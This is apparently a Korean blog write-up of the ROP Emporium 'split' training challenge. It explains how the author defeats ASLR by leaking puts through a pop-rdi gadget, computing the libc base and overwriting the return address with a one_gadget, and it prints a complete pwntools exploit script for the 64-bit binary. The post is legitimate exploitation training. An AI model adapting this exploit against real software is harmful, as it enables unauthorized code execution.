상세 컨텐츠

본문 제목

[ROP Emporium] split (32bit, 64bit)

SYSTEM HACKING/CTF, etc

by koharin 2020. 3. 25. 19:49

본문

728x90
반응형

# checksec

 


# code

 


# process

 

 

lddlibcbase를 확인해봤을 때 계속 변하는 것으로 보아 ASLR이 걸려있음을 알 수 있다.

따라서 libc leak이 필요하다.

pop rdi ; ret 가젯을 사용해서 puts@plt로 got를 출력하도록 해서 libcbase를 구하고 one gadget 주소를 구한다.

 

- 64bit

- 32bit

 

 

그 후 return address -> one gadget으로 덮는다.

 

 

\x7f까지 6바이트 받아지므로 "\x7f까지 받도록 하고 앞에 ‘\x00’ 두 개를 붙였다.


# exploit code & exploit

 

1. 64bit

 

#!/usr/bin/python 
from pwn import *

p = process("./split")
elf = ELF("./split")
p1ret = 0x400883
libc = elf.libc 

pay = 'A'*(0x20 + 0x8)
pay += p64(p1ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(elf.symbols['pwnme'])

p.sendlineafter("> ", pay)

puts = u64(p.recvuntil('\x7f') + '\x00\x00')
libcBase = puts - libc.symbols['puts']
one_gadget = libcBase + 0x4526a
log.info("puts : "+hex(puts))

p.sendlineafter("> ", 'A'*(0x20 + 0x8) + p64(one_gadget))

p.interactive()

 

2. 32bit

 

 

- 32bit 경우 RTL로 풀었다. 

728x90
반응형

'SYSTEM HACKING > CTF, etc' 카테고리의 다른 글

[ROP Emporium] write4 (32bit, 64bit)  (0) 2020.03.25
[ROP Emporium] callme (32bit, 64bit)  (0) 2020.03.25
[ROP Emporium] ret2win (32bit, 64bit)  (0) 2020.03.25
[DEFCON 2016 prequals] feed me (sysrop)  (0) 2020.03.09
[HITCON CTF 2017] start  (0) 2020.02.28

관련글 더보기